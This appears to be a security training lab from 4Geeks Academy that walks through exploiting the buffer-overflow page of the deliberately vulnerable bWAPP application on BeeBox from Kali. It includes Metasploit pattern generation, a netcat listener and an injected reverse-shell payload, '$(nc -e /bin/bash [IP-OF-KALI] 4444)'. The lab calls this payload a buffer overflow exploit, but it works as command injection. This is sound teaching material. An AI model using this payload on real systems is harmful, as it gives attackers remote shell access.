By @rosinni and other contributors at 4Geeks Academy
These instructions are available in english
This exercise aims to learn how to identify and exploit buffer overflow vulnerabilities. Through this project, you will understand how buffer overflows can be used to execute arbitrary code, as well as apply exploitation techniques to compromise the security of the application.
Verify that both Kali Linux and BeeBox are connected to the same network. You can do this by checking the IP addresses assigned to each machine and ensuring they can communicate with each other.
Check connectivity. From Kali, try pinging BeeBox and vice versa to confirm that the network connection is working.
1ping [IP-OF-BEEBOX] 2ping [IP-OF-KALI]
Log in to the BeeBox machine.
Enter a movie name that is in the bWAPP database (e.g., Hulk, Iron Man).
Then enter a movie name that is not in the database (e.g., Harry Potter).
Run the following command to view the contents of the bof_1.php
file:
1cat /var/www/bWAPP/bof_1.php
The goal is to understand how the movie title input is handled and how it is passed as a command-line argument to the application. Look for signs of buffer overflow.
Generate the exploit string by running the following command on Kali to create a string that will help identify the buffer overflow:
1/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 360
Save the generated string in a file named pattern_chain.txt
:
1echo "Aa0Aa1Aa2Aa3Aa4Aa5..." > pattern_chain.txt
Start an HTTP server on Kali to transfer the file:
1python3 -m http.server 8080
Download the pattern_chain.txt
file on BeeBox using wget
:
1wget http://[IP-OF-KALI]:8080/pattern_chain.txt
Read the content of the downloaded file on BeeBox:
1cat pattern_chain.txt
pattern_create.rb
in the field or parameter that may cause the buffer overflow in bWAPP.The goal is to see how the application responds to input that exceeds the expected size.
Run a listener on Kali to receive the remote shell:
1nc -lvnp 4444
To obtain a remote shell, inject the following payload into the field that causes the overflow:
1$(nc -e /bin/bash [IP-OF-KALI] 4444)
Replace
[IP-OF-KALI]
with the IP address of your Kali machine.
Review the web server logs on BeeBox for any messages related to the buffer overflow:
1sudo cat /var/log/apache2/error.log